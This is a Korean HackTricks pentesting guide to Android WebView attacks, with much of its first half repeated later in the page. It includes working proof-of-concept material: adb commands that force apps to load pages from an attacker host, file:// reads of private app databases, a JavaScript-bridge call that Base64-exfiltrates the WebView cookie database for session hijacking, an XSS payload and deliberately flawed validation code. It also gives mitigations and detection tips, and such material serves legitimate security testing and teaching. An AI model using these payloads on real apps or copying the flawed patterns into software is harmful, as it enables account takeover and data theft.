WebView 공격
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
WebView 구성 및 보안 가이드
WebView 취약점 개요
Android 개발에서 중요한 부분은 WebView의 올바른 처리입니다. 이 가이드는 WebView 사용과 관련된 위험을 완화하기 위한 주요 구성 및 보안 관행을 강조합니다.
.png)
WebView의 파일 접근
기본적으로 WebView는 파일 접근을 허용합니다. 이 기능은 Android API 레벨 3(Cupcake 1.5)부터 사용 가능한 setAllowFileAccess() 메서드로 제어됩니다. android.permission.READ_EXTERNAL_STORAGE 권한을 가진 애플리케이션은 파일 URL 스킴(file://path/to/file)을 통해 외부 저장소의 파일을 읽을 수 있습니다.
더 이상 권장되지 않는 기능: 파일 URL에서의 Universal 및 File Access
- Universal Access From File URLs: 이 더 이상 권장되지 않는 기능은 파일 URL로부터의 크로스 오리진 요청을 허용하여 잠재적인 XSS 공격으로 인해 심각한 보안 위험을 초래했습니다. Android Jelly Bean 이상을 타깃으로 하는 앱의 기본 설정은 비활성화(
false)입니다. - 이 설정을 확인하려면
getAllowUniversalAccessFromFileURLs()를 사용하세요. - 이 설정을 변경하려면
setAllowUniversalAccessFromFileURLs(boolean)를 사용하세요. - File Access From File URLs: 이 기능도 더 이상 권장되지 않으며 다른 file 스킴 URL의 콘텐츠에 대한 접근을 제어했습니다. Universal access와 마찬가지로 보안 강화를 위해 기본값은 비활성화되어 있습니다.
- 확인은
getAllowFileAccessFromFileURLs()로 하고 설정은setAllowFileAccessFromFileURLs(boolean)로 합니다.
안전한 파일 로딩
파일 시스템 접근을 비활성화하면서 assets 및 resources에 접근하려면 setAllowFileAccess() 메서드를 사용합니다. Android R 이상에서는 기본 설정이 false입니다.
- 확인은
getAllowFileAccess()로 합니다. - 활성화/비활성화는
setAllowFileAccess(boolean)로 설정합니다.
WebViewAssetLoader
WebViewAssetLoader 클래스는 로컬 파일을 로드하는 현대적인 접근 방식입니다. 로컬 assets 및 리소스 접근에 http(s) URL을 사용하며, Same-Origin 정책과 일치하므로 CORS 관리를 용이하게 합니다.
loadUrl
이 함수는 WebView에서 임의의 URL을 로드하는 데 자주 사용됩니다:
webview.loadUrl("<url here>")
물론, 잠재적인 공격자가 애플리케이션이 로드할 URL을 제어할 수 있어서는 안 된다.
JavaScript 및 Intent Scheme 처리
- JavaScript: WebViews에서는 기본적으로 비활성화되어 있으며,
setJavaScriptEnabled()로 활성화할 수 있다. 적절한 보호 장치 없이 JavaScript를 활성화하면 보안 취약점이 발생할 수 있으므로 주의해야 한다. - Intent Scheme: WebViews는
intent스킴을 처리할 수 있으며, 신중하게 관리되지 않으면 익스플로잇으로 이어질 수 있다. 예시 취약점으로는 노출된 WebView 파라미터 “support_url“을 이용해 XSS 공격을 실행할 수 있는 경우가 있었다.
.png)
adb를 사용한 익스플로잇 예:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Android는 WebView 내의 JavaScript가 네이티브 Android 앱 기능을 호출할 수 있도록 하는 기능을 제공합니다. 이는 addJavascriptInterface 메서드를 사용해 JavaScript와 네이티브 Android 기능을 통합하는 것으로, _WebView JavaScript bridge_라고 합니다. 이 방법은 WebView 내의 모든 페이지가 등록된 JavaScript Interface 객체에 접근할 수 있으므로, 이러한 인터페이스를 통해 민감한 정보가 노출될 경우 보안 위험을 초래할 수 있으니 주의해야 합니다.
- Android 4.2 미만을 대상으로 하는 앱은 reflection을 악용한 악성 JavaScript를 통해 remote code execution이 가능한 취약점이 있으므로 각별한 주의가 필요합니다.
Implementing a JavaScript Bridge
- JavaScript interfaces는 네이티브 코드와 상호작용할 수 있으며, 클래스 메서드를 JavaScript에 노출하는 예제에서 볼 수 있습니다:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge는 WebView에 인터페이스를 추가하면 활성화됩니다:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- JavaScript를 통한 잠재적 악용(예: XSS 공격)은 노출된 Java 메서드를 호출할 수 있게 한다:
<script>
alert(javascriptBridge.getSecret())
</script>
- 위험을 완화하려면, restrict JavaScript bridge usage를 APK에 번들된 코드로만 제한하고 원격 소스에서의 JavaScript 로드를 차단하세요. 구형 기기의 경우 최소 API level을 17로 설정하세요.
Reflection-based Remote Code Execution (RCE)
- 문서화된 방법으로 특정 payload를 실행해 reflection을 통해 RCE를 달성할 수 있습니다. 하지만
@JavascriptInterface어노테이션이 무단 메서드 접근을 차단하여 공격 표면을 제한합니다.
Remote Debugging
- Remote debugging는 Chrome Developer Tools로 가능하며, WebView 콘텐츠 내에서 상호작용 및 임의의 JavaScript 실행을 허용합니다.
Enabling Remote Debugging
- Remote debugging는 애플리케이션 내 모든 WebViews에서 다음과 같이 활성화할 수 있습니다:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- 애플리케이션의 debuggable 상태에 따라 debugging을 조건부로 활성화하려면:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrate 임의의 파일
- XMLHttpRequest를 사용하여 임의의 파일의 exfiltration을 시연합니다:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Webview 공격
WebView 구성 및 보안 가이드
WebView 취약점 개요
Android 개발에서 중요한 부분 중 하나는 WebView를 올바르게 다루는 것입니다. 이 가이드는 WebView 사용과 관련된 위험을 완화하기 위한 주요 설정과 보안 관행을 강조합니다.
.png)
WebViews에서의 파일 접근
기본적으로 WebView는 파일 접근을 허용합니다. 이 기능은 Android API level 3 (Cupcake 1.5)부터 사용 가능한 setAllowFileAccess() 메서드로 제어됩니다. android.permission.READ_EXTERNAL_STORAGE 권한이 있는 애플리케이션은 파일 URL 스킴(file://path/to/file)을 사용해 외부 저장소의 파일을 읽을 수 있습니다.
Deprecated Features: Universal and File Access From URLs
- Universal Access From File URLs: 이 더 이상 권장되지 않는 기능은 file URL에서 교차 출처 요청을 허용하여 잠재적인 XSS 공격으로 인해 심각한 보안 위험을 초래했습니다. Android Jelly Bean 및 이후를 대상으로 하는 앱의 기본 설정은 비활성화(
false)입니다. - 이 설정을 확인하려면
getAllowUniversalAccessFromFileURLs()를 사용하세요. - 이 설정을 변경하려면
setAllowUniversalAccessFromFileURLs(boolean)를 사용하세요. - File Access From File URLs: 이 기능도 더 이상 권장되지 않으며 다른 file 스킴 URL의 콘텐츠 접근을 제어했습니다. Universal access와 마찬가지로 보안을 위해 기본적으로 비활성화되어 있습니다.
- 확인하려면
getAllowFileAccessFromFileURLs()를 사용하고 설정하려면setAllowFileAccessFromFileURLs(boolean)를 사용하세요.
보안 파일 로딩
자산(asset)과 리소스에 접근하면서 파일 시스템 접근을 비활성화하려면 setAllowFileAccess() 메서드를 사용합니다. Android R 이상에서는 기본 설정이 false입니다.
- 확인하려면
getAllowFileAccess()를 사용하세요. - 활성화 또는 비활성화하려면
setAllowFileAccess(boolean)를 사용하세요.
WebViewAssetLoader
WebViewAssetLoader 클래스는 로컬 파일을 로드하는 현대적인 접근 방식입니다. 로컬 자산과 리소스에 접근하기 위해 http(s) URL을 사용하며, Same-Origin policy와 일치하므로 CORS 관리를 용이하게 합니다.
loadUrl
이는 임의의 URL을 WebView에 로드하는 데 자주 사용되는 함수입니다:
webview.loadUrl("<url here>")
물론, 잠재적 공격자가 애플리케이션이 로드할 control the URL을 제어해서는 안 됩니다.
Deep-linking into internal WebView (custom scheme → WebView sink)
많은 앱이 custom schemes/paths를 등록하여 사용자 제공 URL을 인앱 WebView로 라우팅합니다. deep link가 export되어 있고 (VIEW + BROWSABLE)라면, 공격자는 앱이 임의의 원격 콘텐츠를 WebView 컨텍스트 안에서 렌더링하도록 강제할 수 있습니다.
Typical manifest pattern (simplified):
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
일반적인 코드 흐름(단순화):
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
공격 패턴 및 PoC (adb를 통해):
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact: 원격 페이지가 앱 WebView 컨텍스트에서 실행됩니다 (앱 WebView 프로필의 쿠키/세션, 노출된 @JavascriptInterface에 대한 접근, 설정에 따라 content:// 및 file://에 대한 잠재적 접근).
Hunting tips:
- Grep 역컴파일된 소스에서
getQueryParameter("url"),loadUrl(,WebViewsinks, 및 deep-link 핸들러(onCreate/onNewIntent)를 검색하세요. - manifest에서 VIEW+BROWSABLE 필터와 나중에 WebView를 시작하는 액티비티에 매핑되는 커스텀 스킴/호스트를 검토하세요.
- 여러 deep-link 경로(예: “external browser” 경로 vs. “internal webview” 경로)가 있는지 확인하고 앱 내부에서 렌더링되는 경로를 우선 선택하세요.
검증 전에 JavaScript 활성화 (order-of-checks bug)
자주 발생하는 하드닝 실수는 대상 URL의 최종 허용 목록/검증이 완료되기 전에 JavaScript를 활성화하거나 느슨한 WebView 설정을 구성하는 것입니다. 검증이 보조 로직들 사이에서 일관되지 않거나 너무 늦게 발생하면, 공격자의 deep link가 다음과 같은 상태에 도달할 수 있습니다:
- WebView 설정이 적용된다(예:
setJavaScriptEnabled(true)), 그리고 - 신뢰할 수 없는 URL이 JavaScript가 활성화된 상태로 로드된다.
버그 패턴(의사 코드):
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled
// 4) Load
webView.loadUrl(u.toString());
왜 악용 가능한가
- 정규화 불일치: helpers가 URL을 분리/재구성하는 방식이 최종 검사와 달라서, 악성 URL이 이를 악용할 수 있는 불일치가 발생합니다.
- 파이프라인 순서 오류: 2단계에서 JS를 활성화하면 WebView 인스턴스 전체에 전역적으로 적용되어, 이후 검증이 실패하더라도 최종 로드에 영향을 줍니다.
테스트 방법
- 초기 검사를 통과하여 WebView 구성 지점에 도달하는 deep-link payloads를 제작합니다.
- 자신이 제어하는
url=파라미터를 전달하는 implicit VIEW intents를 발생시키기 위해 adb를 사용합니다:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
exploitation이 성공하면, 당신의 payload는 앱의 WebView에서 JavaScript를 실행합니다. 그 다음, exposed bridges를 탐색하세요:
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
방어 지침
- 한 번만 정규화하고; 단일 진실 소스 (scheme/host/path/query)를 기준으로 엄격히 검증하세요.
- 모든 allowlist 검사 통과 후, 신뢰할 수 있는 컨텐츠를 로드하기 직전에만
setJavaScriptEnabled(true)를 호출하세요. @JavascriptInterface를 신뢰할 수 없는 오리진에 노출하지 마세요; 오리진별 게이팅을 권장합니다.- 신뢰된 컨텐츠와 신뢰할 수 없는 컨텐츠용으로 WebView 인스턴스를 분리하는 것을 고려하세요. 기본적으로 JS는 비활성화합니다.
JavaScript 및 Intent Scheme 처리
- JavaScript: WebView에서는 기본적으로 비활성화되어 있으며,
setJavaScriptEnabled()로 활성화할 수 있습니다. 적절한 보호 장치 없이 JavaScript를 활성화하면 보안 취약점이 발생할 수 있으니 주의하세요. - Intent Scheme: WebView는
intent스킴을 처리할 수 있어, 신중하게 관리하지 않으면 악용될 수 있습니다. 예시 취약점으로는 노출된 WebView 파라미터 “support_url“이 cross-site scripting (XSS) 공격을 실행하는 데 이용될 수 있었습니다.
.png)
adb를 사용한 악용 예:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
JavaScript 브리지
Android는 WebView 내의 JavaScript가 네이티브 Android 앱 기능을 호출할 수 있도록 하는 기능을 제공합니다. 이는 addJavascriptInterface 메서드를 사용해 JavaScript를 네이티브 Android 기능과 통합함으로써 구현되며, 이를 _WebView JavaScript bridge_라고 합니다. 이 방법은 WebView 내의 모든 페이지가 등록된 JavaScript Interface 객체에 접근할 수 있게 하므로, 이러한 인터페이스를 통해 민감한 정보가 노출될 경우 보안 위험이 발생합니다.
- 매우 주의해야 함: Android 4.2 미만을 대상으로 한 앱은 reflection을 악용해 악의적인 JavaScript를 통해 원격 코드 실행을 허용하는 취약점 때문에 특히 주의가 필요합니다.
JavaScript 브리지 구현
- JavaScript interfaces는 네이티브 코드와 상호작용할 수 있으며, 아래 예제는 클래스 메서드가 JavaScript에 노출되는 방식을 보여줍니다:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge는 WebView에 interface를 추가하여 활성화됩니다:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- 예를 들어 JavaScript를 통한 XSS 공격과 같은 잠재적 악용은 노출된 Java 메서드 호출을 가능하게 한다:
<script>
alert(javascriptBridge.getSecret())
</script>
- 위험을 완화하려면, APK와 함께 제공된 코드로만 restrict JavaScript bridge usage하고 원격 소스에서 JavaScript를 로드하지 않도록 하세요. 구형 기기에서는 최소 API 레벨을 17로 설정하세요.
dispatcher-style JS bridges 악용 (invokeMethod/handlerName)
일반적인 패턴은 단일로 export된 메서드(예: @JavascriptInterface void invokeMethod(String json))가 공격자가 제어하는 JSON을 제네릭 객체로 역직렬화한 다음 제공된 handler name에 따라 분기하는 것입니다. 전형적인 JSON 형태:
{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}
Risk: 등록된 핸들러 중 공격자 데이터에 대해 특권 동작(예: 직접 파일 읽기)을 수행하는 것이 있으면, handlerName을 적절히 설정해 해당 핸들러를 호출할 수 있습니다. 결과는 보통 evaluateJavascript와 callbackId로 키가 지정된 콜백/프라미스 메커니즘을 통해 페이지 컨텍스트로 다시 게시됩니다.
Key hunting steps
addJavascriptInterface(를 찾아 디컴파일하고 grep하여 브리지 객체 이름(예:xbridge)을 파악합니다.- Chrome DevTools (chrome://inspect)에서 Console에 브리지 객체 이름(예:
xbridge)을 입력해 노출된 필드/메서드를 열거합니다;invokeMethod와 같은 일반 디스패처를 찾아보세요. getModuleName()을 구현하는 클래스나 등록 맵을 검색해 핸들러를 열거합니다.
Arbitrary file read via URI → File sinks (Base64 exfiltration)
If a handler takes a URI, calls Uri.parse(req.getUri()).getPath(), builds new File(...) and reads it without allowlists or sandbox checks, you get an arbitrary file read in the app sandbox that bypasses WebView settings like setAllowFileAccess(false) (the read happens in native code, not via the WebView network stack).
PoC to exfiltrate the Chromium WebView cookie DB (session hijack):
// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};
const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});
xbridge.invokeMethod(payload);
Notes
- Cookie DB paths vary across devices/providers. Common ones:
file:///data/data/<pkg>/app_webview/Default/Cookiesfile:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies- The handler returns Base64; decode to recover cookies and impersonate the user in the app’s WebView profile.
Detection tips
- Watch for large Base64 strings returned via
evaluateJavascriptwhen using the app. - Grep decompiled sources for handlers that accept
uri/pathand convert them tonew File(...).
WebView 권한 게이트 우회 – endsWith() 호스트 검사
권한 결정(특정 JSB-enabled Activity 선택)은 종종 호스트 allowlists에 의존합니다. 취약한 패턴은 다음과 같습니다:
String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView
동치 논리 (드모르간의 법칙):
boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);
이것은 origin 체크가 아니다. 많은 의도치 않은 호스트들이 두 번째 조건을 만족시켜 신뢰할 수 없는 도메인이 privileged Activity에 들어오게 만든다. 항상 scheme과 host를 엄격한 allowlist(정확한 일치 또는 점(.) 경계가 있는 올바른 subdomain 검사)와 대조해야 하며, endsWith 트릭을 사용하면 안 된다.
javascript:// 실행 원시(primitive) via loadUrl
privileged WebView 내부로 들어가면, 앱들은 때때로 inline JS를 다음과 같이 실행한다:
webView.loadUrl("javascript:" + jsPayload);
만약 내부 흐름이 해당 컨텍스트에서 loadUrl("javascript:...")를 트리거하면, 주입된 JS는 외부 페이지가 원래 허용되지 않더라도 bridge 접근권으로 실행됩니다. Pentest steps:
- 앱에서
loadUrl("javascript:및evaluateJavascript(를 grep 하세요. - 권한 있는 WebView로의 네비게이션을 강제로 유도한 뒤(예: permissive deep link chooser를 통해) 해당 코드 경로에 도달해보세요.
- 이 primitive를 사용해 dispatcher (
xbridge.invokeMethod(...))를 호출하고 민감한 핸들러에 접근하세요.
Mitigations (developer checklist)
- 권한이 있는 Activities에 대해 엄격한 origin 검증: canonicalize하고 scheme/host를 명시적 allowlist와 비교하세요;
endsWith기반 검사는 피하세요. 적용 가능할 때는 Digital Asset Links를 고려하세요. - bridges를 신뢰할 수 있는 페이지만으로 범위를 제한하고 모든 호출마다 신뢰성을 재검증하세요 (per-call authorization).
- 파일시스템 접근 가능한 핸들러는 제거하거나 엄격히 보호하세요; raw
file://경로보다 allowlists/permissions가 적용된content://사용을 권장합니다. - 권한 있는 컨텍스트에서
loadUrl("javascript:")사용을 피하거나 강력한 검사 뒤에 배치하세요. setAllowFileAccess(false)가 bridge를 통한 네이티브 파일 읽기로부터 보호하지 않는다는 것을 기억하세요.
JSB 열거 및 디버깅 팁
- Chrome DevTools Console을 사용하려면 WebView 원격 디버깅을 활성화하세요:
- App-side (debug builds):
WebView.setWebContentsDebuggingEnabled(true) - System-side: modules like LSPosed or Frida scripts can force-enable debugging even in release builds. Example Frida snippet for Cordova WebViews: cordova enable webview debugging
- DevTools에서 bridge 객체 이름(예:
xbridge)을 입력하면 노출된 멤버를 확인하고 dispatcher를 탐색할 수 있습니다.
Reflection 기반 Remote Code Execution (RCE)
- 문서화된 방법으로 특정 페이로드를 실행해 reflection을 통해 RCE를 달성할 수 있습니다. 그러나
@JavascriptInterface어노테이션은 무단 메소드 접근을 방지하여 공격 표면을 제한합니다.
원격 디버깅
- 원격 디버깅은 Chrome Developer Tools로 가능하며, WebView 콘텐츠 내에서 상호작용 및 임의의 JavaScript 실행을 허용합니다.
원격 디버깅 활성화
- 애플리케이션 내 모든 WebViews에 대해 원격 디버깅을 다음과 같이 활성화할 수 있습니다:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- 애플리케이션의 debuggable 상태에 따라 debugging을 조건부로 활성화하려면:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrate 임의의 파일
- XMLHttpRequest를 사용하여 임의의 파일의 exfiltration을 시연합니다:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
WebView XSS via Intent extras → loadData()
자주 발생하는 취약점은 들어오는 Intent extra에서 공격자가 제어하는 데이터를 읽어 JavaScript가 활성화된 상태의 WebView에 loadData()로 직접 주입하는 것입니다.
취약한 패턴 (exported Activity가 extra를 읽어 HTML로 렌더링):
String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");
해당 Activity가 내보내진 상태이거나(또는 내보내진 프록시를 통해 접근 가능한 경우), 악성 앱은 data extra에 HTML/JS를 넣어 reflected XSS를 발생시킬 수 있습니다:
# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'
영향
- 앱의 WebView 컨텍스트에서 임의의 JS 실행:
@JavascriptInterface브리지를 열거/사용하고, WebView 쿠키/로컬 스토리지에 접근하며, 설정에 따라 file:// 또는 content://로 pivot.
완화
- 모든 Intent 기반 입력을 신뢰하지 않는 것으로 처리하세요. HTML은 이스케이프(
Html.escapeHtml)하거나 거부하세요; 신뢰할 수 없는 텍스트는 HTML로 렌더링하지 말고 텍스트로 렌더링하는 것을 권장합니다. - 엄격히 필요한 경우가 아니면 JavaScript를 비활성화하세요; 신뢰할 수 없는 콘텐츠에 대해
WebChromeClient를 활성화하지 마세요. - 템플릿된 HTML을 렌더링해야 한다면 안전한 base와 CSP를 사용해
loadDataWithBaseURL()를 사용하고, 신뢰된 WebView와 신뢰되지 않은 WebView를 분리하세요. - Activity를 외부에 노출하지 않거나, 필요하지 않은 경우 권한으로 보호하세요.
관련
- Intent 기반 primitives 및 리디렉션은 다음을 참조하세요: Intent Injection
참고
- Review of Android WebViews file access attack vectors
- WheresMyBrowser.Android (demo app)
- Android WebView reference
- Deep Links & WebViews Exploitations – Part II
- Deep Links & WebViews Exploitations – Part I
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
- Demonstration video
- Android Intents (1/2): how they work, security, and attack examples – Mobeta
- Account takeover in Android app via JSB – tuxplorer.com
- LSPosed – systemless Xposed framework
- Frida codeshare: Cordova – enable WebView debugging
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


